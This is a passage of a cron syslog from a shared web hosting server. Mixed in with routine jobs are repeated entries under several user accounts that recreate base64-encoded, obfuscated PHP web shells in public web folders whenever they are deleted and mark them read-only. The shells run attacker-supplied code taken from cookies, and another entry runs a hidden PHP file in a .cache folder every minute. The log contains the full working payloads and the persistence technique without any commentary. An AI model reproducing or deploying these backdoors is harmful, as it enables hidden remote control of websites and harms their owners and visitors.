IgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:15:02 medusa CROND[5408]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:16:01 medusa CROND[7270]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:16:01 medusa CROND[7344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:16:01 medusa CROND[7346]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:16:01 medusa CROND[7347]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:16:01 medusa CROND[7348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:16:01 medusa CROND[7349]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:16:01 medusa CROND[7351]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:16:01 medusa CROND[7357]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:16:01 medusa CROND[7355]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:16:01 medusa CROND[7360]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:16:01 medusa CROND[7361]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:16:01 medusa CROND[7363]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:16:01 medusa CROND[7362]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:16:01 medusa CROND[7369]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:17:02 medusa CROND[8974]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:17:02 medusa CROND[8973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:17:02 medusa CROND[8975]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:17:02 medusa CROND[8976]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:17:02 medusa CROND[8977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:17:02 medusa CROND[8978]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 15:17:02 medusa CROND[8982]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:17:02 medusa CROND[8984]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:17:02 medusa CROND[8985]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:17:02 medusa CROND[8986]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:17:02 medusa CROND[8987]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:17:02 medusa CROND[8988]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:17:02 medusa CROND[8981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:18:01 medusa CROND[11037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:18:01 medusa CROND[11046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:18:01 medusa CROND[11048]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:18:01 medusa CROND[11047]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:18:01 medusa CROND[11049]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:18:01 medusa CROND[11051]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:18:01 medusa CROND[11054]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:18:01 medusa CROND[11062]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
